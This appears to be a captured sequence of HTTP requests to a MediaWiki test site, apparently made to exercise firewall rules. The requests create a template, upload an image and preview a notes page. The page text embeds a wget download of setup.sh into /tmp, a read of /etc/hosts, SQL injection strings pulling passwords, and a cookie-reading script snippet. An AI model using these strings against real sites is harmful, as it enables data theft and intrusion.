"action=stashedit&format=json&formatversion=2&title=Template%3AInfobox&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%3Cincludeonly%3E%7B%7C+class%3D%22infobox%22%0A!+%7B%7B%7Bname%7C%7B%7BPAGENAME%7D%7D%7D%7D%7D%0A%7C-%0A%7C+%5B%5BFile%3A%7B%7B%7Bimage%7D%7D%7D%7C200px%5D%5D%0A%7C%7D%3C%2Fincludeonly%3E%3Cnoinclude%3EUsage%3A+%3Cnowiki%3E%7B%7BInfobox%7Cname%3D...%7D%7D%3C%2Fnowiki%3E%3C%2Fnoinclude%3E&token=46425d33c8b524405843812af83725be6af22671%2B%5C"}
{"method": "POST", "target": "/index.php?title=Template:Infobox&action=submit", "headers": ["Host: example.com", "Content-Length: 2245", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryp4WNOE42QTlZ0sfO", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200049\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200049\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n<includeonly>{| class=\"infobox\"\r\n! {{{name|{{PAGENAME}}}}}\r\n|-\r\n| [[File:{{{image}}}|200px]]\r\n|}</includeonly><noinclude>Usage: <nowiki>{{Infobox|name=...}}</nowiki></noinclude>\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nInfobox template\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n46425d33c8b524405843812af83725be6af22671+\\\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO--\r\n"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 289", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "action=stashedit&format=json&formatversion=2&title=Template%3AInfobox&section=&sectiontitle=&summary=Infobox+template&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=fa87f1b7d1dfe2c860f1821e9e4d9d446ef78923&token=46425d33c8b524405843812af83725be6af22671%2B%5C"}
{"method": "GET", "target": "/wiki/Template:Infobox", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiPostEditRevision2=created; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cnotification%2Cstorage%2CtempUserCreated%2Cuser%2Cutil%2CvisibleTimeout%7Cmediawiki.action.view.postEdit%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.icons-interactions%2Cindicators%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=6zwhv", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Template:Infobox", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=unStar&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/wiki/Special:Upload", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Ctemplate%2Cuser%2Cutil%7Cmediawiki.libs.jpegmeta%2Cpluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.upload%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1mpuf", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3APic.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3APic%20python3.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Upload", "headers": ["Host: example.com", "Content-Length: 1190", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKLskNzhkAu9rYahb", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": "------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nSpecial:Upload\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpUploadFile\"; filename=\"pic.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\ufffd\ufffd\u0000\u0000\u0003\u0001\u0001\u0000\ufffd\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpDestFile\"\r\n\r\nPic python3.png\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpUploadDescription\"\r\n\r\nA picture for python3, powershell, ls -la and .htaccess notes\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpLicense\"\r\n\r\n\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n1\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n1e44643bf316cfdeb7476623a1042ab96af22672+\\\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpDestFileWarningAck\"\r\n\r\n\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpUpload\"\r\n\r\nUpload file\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb--\r\n"}
{"method": "GET", "target": "/wiki/File:Pic_python3.png", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=filepage%7Cmediawiki.action.view.filepage%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/File:Pic_python3.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/images/e/e3/Pic_python3.png?_=20261109200050", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/File:Pic_python3.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/resources/src/mediawiki.action/images/checker.svg?ff513", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=filepage%7Cmediawiki.action.view.filepage%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1674", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Lighthouse_notes&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=1e44643bf316cfdeb7476623a1042ab96af22672%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 325", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Lighthouse_notes&section=&sectiontitle=&summary=Notes+on+Lighthouse%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=7b0caca38f13720bae380f2dd35a43a0fa43c9b7&token=1e44643bf316cfdeb7476623a1042ab96af22672%2B%5C"}
{"method": "POST", "target": "/index.php?title=Lighthouse_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3221", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUQ8uGGBD9y406eaI", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on Lighthouse, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpPreview\"\r\n\r\nShow preview\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n1e44643bf316cfdeb7476623a1042ab96af22672+\\\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI--\r\n"}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery.tablesorter.styles%7Cmediawiki.action.edit.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.editfont.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.page.gallery.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
